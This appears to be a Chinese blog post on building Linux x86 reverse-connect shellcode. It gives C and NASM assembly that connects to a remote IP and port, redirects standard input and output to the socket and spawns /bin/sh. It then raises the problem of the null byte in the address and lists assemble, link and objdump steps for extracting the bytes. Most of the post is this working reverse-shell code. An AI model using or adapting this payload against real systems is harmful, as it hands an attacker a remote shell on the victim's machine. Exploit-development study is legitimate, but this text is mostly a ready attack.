• 反弹连接的shellcode


    C代码

    #include<sys/socket.h>   //构造socket所需的库
    #include<netinet/in.h>  //定义sockaddr结构
    int main()
    {
      char *shell[2];       //用于execv调用
      int soc,remote;    //文件描述符句柄
      struct sockaddr_in serv_addr; //保存IP/端口值的结构
    
      serv_addr.sin_addr.s_addr=0x6400A8C0;  //将socket的地址设置为所有本地地址
      serv_addr.sin_port=0xBBBB;  //设置socket的端口48059
      serv_addr.sin_family=2;   //设置协议族:IP
      soc=socket(2,1,0);
      remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);
    
      dup2(soc,0);   //将stdin连接client
      dup2(soc,1);   //将stdout连接client
      dup2(soc,2);   //将strderr连接到client
      shell[0]="/bin/sh";   //execve的第一个参数
      shell[1]=0;           //数组的第二个元素为NULL,表示数组结束
      execv(shell[0],shell,NULL);   //建立一个shell
    }
    

    serv_addr.sin_addr.s_addr=0x6400A8C0  这是设置远程反向连接的IP地址呢,这里面有00,所以shellcode中会出现00,就会导致shellcode中断,无法完成攻击,有没有好的办法呢?

    汇编语言代码:

    section .text
    global _start
    _start:
    xor eax,eax ;清空eax
    xor ebx,ebx ;清空ebx
    xor edx,edx  ;清空edx
    
    ;soc=socket(2,1,0)
    push eax  ;socket的第三个参数:0
    push byte 0x1 ;socket的第二个参数:1
    push byte 0x2 ;socket的第一个参数:2
    mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
    inc bl  ;将socketcall的第一个参数设置为1
    mov al,102  ;调用socketcall,分支调用号为1:SYS_SOCKET
    int 0x80  ;进入核心态,执行系统调用
    mov esi,eax ;将返回值(eax)存储到esi中(即soc句柄)
    
    ;remote=connect(soc,(struct sockaddr *)&serv_addr,0x10)
    push edx; ;仍然为0,用来作为接下来压栈的数据的结束符
    push long 0x6400A8C0  ;本节代码中新增,将地址反序得到的十六进制压栈
    push word 0xBBBB  ;将端口压栈,十进制为48059
    xor ecx,ecx ;清空ecx,以便保存结构的sa_family字段
    mov cl,2  ;将ecx的地位字节,设置为2
    push word cx  ;建立结构,包括端口和sin.family,共四个字节
    mov ecx,esp ;将结构的地址(在栈上)复制到ecx
    push byte 0x10  ;connect参数的开始,将16压栈
    push ecx  ;在栈上保存结构的地址
    push esi  ;将服务器文件描述符esi保存到栈
    mov ecx,esp ;将参数数组的地址保存到ecx(socketcall的第二个参数)
    mov bl,3  ;将bl设置为3,socketcall的第一个参数
    mov al,102  ;调用socketcall,分支调用号为3:SYS_CONNECT
    int 0x80  ;进入核心态,执行系统调用
    
    mov ebx,esi ;将客户端的soc文件描述符复制到ebx
    ;dup2(soc,0)
    xor ecx,ecx ;清空ecx
    mov al,63 ;将系统调用的第一个参数设置为63:dup
    int 0x80  ;进行系统调用
    
    ;dup2(client,1)
    inc ecx ;ecx设置为1
    mov al,63 ;准备进行系统调用:dup2:63
    int 0x80  ;进行系统调用
    
    ;dup2(client,2)
    inc ecx ;ecx设置为2
    mov al,63 ;准备进行系统调用:dup2:63
    int 0x80 ;进行系统调用
    
    ;标准的execv("/bin/sh"...
    push edx
    push long 0x68732f2f
    push long 0x6e69622f
    mov ebx,esp
    push edx
    push ebx
    mov ecx,esp
    mov al,0x0b
    int 0x80
    

     push long 0x6400A8C0 这里就是IP地址,出现了00,怎么办好呢?

    如果能解决这个问题,那么下边就可以

    nasm -f elf reverse_port_asm.asm

    ld -o reverse_port_asm reverse_port_asm.o

    然后抽取十六进制代码

    objdump -d ./reverse_port_asm

    得到shellcode了。

  • 相关阅读:
    LeetCode 82,考察你的基本功,在有序链表中删除重复元素II
    golang | Go语言入门教程——结构体初始化与继承
    pandas | 使用pandas进行数据处理——DataFrame篇
    博弈论 | 详解搞定组合博弈问题的SG函数
    PCA算法 | 数据集特征数量太多怎么办?用这个算法对它降维打击!
    Python | 面试必问,线程与进程的区别,Python中如何创建多线程?
    Pytorch | 详解Pytorch科学计算包——Tensor
    通过Windows Visual Studio远程调试WSL2中的.NET Core Linux应用程序
    MSIL入门(二)通过对象看IL
    MSIL入门(一)C#代码与IL代码对比
  • 原文地址:https://www.cnblogs.com/shanmao/p/2834210.html
Copyright © 2020-2023  润新知